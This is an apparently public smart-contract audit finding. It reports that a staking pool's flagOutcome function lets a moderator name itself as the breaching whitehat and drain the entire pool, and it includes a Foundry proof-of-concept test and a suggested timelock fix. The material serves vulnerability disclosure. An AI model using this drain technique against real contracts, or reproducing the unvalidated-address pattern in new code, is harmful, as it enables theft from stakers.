FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: low
Likelihood: low

flagOutcome does not validate attacker_ — a self-dealing moderator can drain the whole pool to its own address on a genuinely CORRUPTED registry

Author Revealed upon completion

Root + Impact

Description

  • Normally, on a good-faith CORRUPTED resolution the moderator names the whitehat that responsibly disclosed the breach, and the entire pool (snapshotTotalStaked + snapshotTotalBonus) becomes that named attacker's bounty (DESIGN.md §12); claimAttackerBounty then pays whoever equals the stored attacker.

  • flagOutcome only checks attacker_ for zero / non-zero consistency with the outcome type and then assigns attacker = attacker_ with no validation against any on-chain identity. Because the good-faith CORRUPTED path makes the whole pool the named attacker's bounty, a moderator can name itself as the attacker and withdraw the entire pool to its own address, leaving recoveryAddress and any legitimate whitehat with nothing. This cannot be closed by a simple check: the BattleChain registry exposes no attacker/whitehat identity to validate against (AgreementInfo carries only attackModerator, timers, and corrupted/promoted flags — never who breached the agreement), so the moderator's off-chain judgement is the sole source of truth for naming the attacker.

// flagOutcome (CORRUPTED, good-faith branch)
} else if (newOutcome == PoolStates.Outcome.CORRUPTED) {
if (!goodFaith_) {
if (attacker_ != address(0)) revert InvalidGoodFaithParams();
} else {
@> if (attacker_ == address(0)) revert InvalidGoodFaithParams(); // only zero/non-zero is checked
}
if (state != IAttackRegistry.ContractState.CORRUPTED) revert InvalidOutcome();
}
...
@> attacker = attacker_; // no validation that attacker_ is the real breacher — may be the moderator itself
...
@> bountyEntitlement = willBeGoodFaithCorrupted ? snapshotTotalStaked + snapshotTotalBonus : 0; // whole pool
// claimAttackerBounty pays whoever equals `attacker`
@> if (msg.sender != attacker) revert NotAttacker();
...
stakeToken.safeTransfer(attacker, payout); // full pool to the moderator-named address

Risk

Likelihood:

  • Occurs only when the caller is the onlyModerator address (a privileged, trusted role), and only on a genuinely CORRUPTED registry — the CORRUPTED outcome requires state == CORRUPTED (a real breach the moderator cannot fabricate), a state where the pool was already destined to a whitehat.

  • DESIGN.md §11 places a malicious moderator explicitly outside the adversarial model; a compromised moderator can distort resolution more directly regardless, so this is a documented trust surface rather than an externally-triggerable defect.

Impact:

  • A self-dealing moderator can transfer the entire pool (snapshotTotalStaked + snapshotTotalBonus) to its own address via claimAttackerBounty, so the legitimate whitehat and recoveryAddress receive nothing and stakers have no on-chain recourse.

  • This is strictly stronger than the bad-faith path (which routes the pool to the sponsor-controlled recoveryAddress, not the moderator): good-faith self-naming is a direct self-enrichment path that needs no collusion, widening the effective trust assumption from "trusted to resolve correctly" to "may pay the entire pool to its own address."

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract ModeratorSelfAttackerTest is BaseConfidencePoolTest {
uint256 internal constant PRINCIPAL = 100 * ONE;
uint256 internal constant BONUS = 40 * ONE;
function test_poc_moderatorNamesSelfAndDrainsWholePool() external {
// Honest stakers deposit; sponsor seeds a bonus.
_stake(alice, PRINCIPAL);
_contributeBonus(makeAddr("sponsorBonus"), BONUS);
// A real breach occurs: pass through active-risk (so a risk window exists) to terminal CORRUPTED.
_passThroughUnderAttack();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
uint256 modBefore = token.balanceOf(moderator);
uint256 recBefore = token.balanceOf(recovery);
// Moderator flags good-faith CORRUPTED but names ITSELF as the attacker. No validation blocks this.
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, moderator);
// Entire pool (principal + bonus) becomes the "attacker" (== moderator) bounty.
assertEq(pool.bountyEntitlement(), PRINCIPAL + BONUS, "whole pool is the self-named bounty");
// Moderator claims to itself.
vm.prank(moderator);
pool.claimAttackerBounty();
// Impact: the whole pool landed with the moderator, NOT the sponsor's recoveryAddress and NOT
// any legitimate whitehat.
assertEq(token.balanceOf(moderator) - modBefore, PRINCIPAL + BONUS, "moderator drained the whole pool to self");
assertEq(token.balanceOf(recovery), recBefore, "recoveryAddress got nothing");
assertEq(token.balanceOf(address(pool)), 0, "pool fully drained");
}
/// @dev Contrast: bad-faith CORRUPTED routes to the sponsor-controlled recoveryAddress, NOT the
/// moderator — so absent sponsor collusion the moderator profits nothing this way. This is why
/// the good-faith self-naming path above is the strictly stronger self-dealing surface.
function test_contrast_badFaithRoutesToSponsorNotModerator() external {
_stake(alice, PRINCIPAL);
_contributeBonus(makeAddr("sponsorBonus"), BONUS);
_passThroughUnderAttack();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
uint256 modBefore = token.balanceOf(moderator);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
pool.claimCorrupted();
assertEq(token.balanceOf(moderator), modBefore, "moderator gets nothing in bad-faith");
assertEq(token.balanceOf(recovery), PRINCIPAL + BONUS, "funds go to sponsor's recoveryAddress");
}
}

Recommended Mitigation


No code fix is strictly required under the stated trust model (DESIGN.md §11 excludes a malicious moderator), but to shrink the self-dealing surface, consider one of the following. Note the developers already guard exactly this concern on the trustless path: claimExpired's auto-CORRUPTED branch sets claimsStarted = true specifically so the moderator cannot override mechanical bad-faith CORRUPTED with good-faith attacker-naming — the concern is acknowledged in code and only accepted on the trusted flagOutcome path

+ // Option 1: timelock between naming a good-faith attacker and paying the bounty, so stakers can
+ // react to a self-named address before funds move.
+ // - record the good-faith flag timestamp in flagOutcome
+ // - in claimAttackerBounty, require block.timestamp >= flagTimestamp + ATTACKER_CLAIM_DELAY

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!